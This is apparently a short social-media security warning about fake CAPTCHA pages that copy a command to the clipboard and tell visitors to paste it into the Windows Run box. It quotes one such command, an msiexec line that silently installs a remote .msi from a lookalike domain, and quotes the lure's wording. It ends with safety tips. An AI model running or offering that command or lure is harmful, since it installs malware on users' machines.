CAPTCHA Social Engineering Attack — Watch Out!

Have you fallen victim to a CAPTCHA social engineering attack without even realizing it?

This type of attack is extremely dangerous. Hackers use a fake CAPTCHA to trick users into thinking they're verifying themselves as human — but in reality, it's a trap.

How the Attack Works:

1. You visit a malicious website.

2. It shows a fake CAPTCHA that says:

“Please verify you’re human.”

3. Once you click on it, a malicious command is silently copied to your clipboard, such as:

msiexec /qn /i https://clloudsverify.com/o.msi

4. The site then tells you:

> “To complete verification, press Win + R, then Ctrl + V, and hit Enter.”

5. Without knowing it, you’re executing malware directly on your system through Windows Run Prompt.

What's Really Happening?

The command installs a malicious .msi file silently using Windows Installer.

msiexec is a legit tool, but when used with /qn /i, it installs malware without showing any prompt.

This technique is a combination of:

CAPTCHA Social Engineering

Clipboard Injection Attack

What Can the Malware Do?

Install backdoors or trojans

Steal your files, passwords, and banking info

Gain remote control of your PC (RAT)

Spread ransomware or spyware

How to Stay Safe:

* Never follow instructions like “Win + R → Ctrl + V” from random websites

Always check your clipboard contents before pasting into system-level apps

* Avoid unknown CAPTCHA or “verification” prompts on suspicious websites

* Use antivirus software that monitors clipboard and installation behavior

* Enable clipboard history in Windows to view recent entries

Final Thought:

> CAPTCHA ≠ safe by default.

If it asks you to open Run Prompt — it’s not CAPTCHA, it’s hacking.

Stay informed. Stay secure.

#CyberSecurity #CAPTCHAattack #ClipboardInjection #HackingAlert #MalwareWarning